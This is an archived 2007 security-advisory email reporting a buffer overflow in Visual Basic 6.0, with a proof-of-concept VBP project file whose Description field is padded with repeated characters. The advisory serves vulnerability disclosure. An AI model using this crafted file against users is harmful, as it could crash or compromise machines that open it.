

[EXPL] Visual Basic Description Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-05/msg00035.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 27 May 2007 12:35:27 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Visual Basic Description Buffer Overflow

SUMMARY

A vulnerability in Visual Basic 6.0 allows attackers that can trick a user into opening a VBP file (Visual Basic Project) to cause the program to overflow its internal Description field which in turn can be used to execute arbitrary code.

DETAILS

Proof of concept:

By providing the following VBP file to Visual Basic 6.0 an attacker can cause the program to overflow an internal buffer.

Type=Exe

Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\WINDOWS\system32\stdole2.tlb#OLE

Automation

Reference=*\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#..\..\..\WINDOWS\system32\sccrun.dll#Mi

Scripting Runtime

Form=Form1.frm

Startup="Form1"

HelpFile=""

Command32=""

[EXPL] Visual Basic Description Buffer Overflow

Name="Project1"
HelpContextID="0"
Description="AAAAAAAAAA<multiple A>AAAAAAAAAAAAAAAA"
CompatibleMode="0"
MajorVer=1
MinorVer=0
RevisionVer=0
AutoIncrementVer=0
ServerSupportFiles=0
VersionCompanyName=""
CompilationType=0
OptimizationType=0
FavorPentiumPro(tm)=0
CodeViewDebugInfo=0
NoAliasing=0
BoundsCheck=0
OverflowCheck=0
FIPointCheck=0
FDIVCheck=0
UnroundedFP=0
StartMode=0
Unattended=0
Retained=0
ThreadPerObject=0
MaxNumberOfThreads=1

[MS Transaction Server]
AutoRefresh=1

ADDITIONAL INFORMATION

The information has been provided by <<mailto:umz32.dll@xxxxxxxxxx>> UmZ.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

[EXPL] Visual Basic Description Buffer Overflow

loss of business profits or special damages.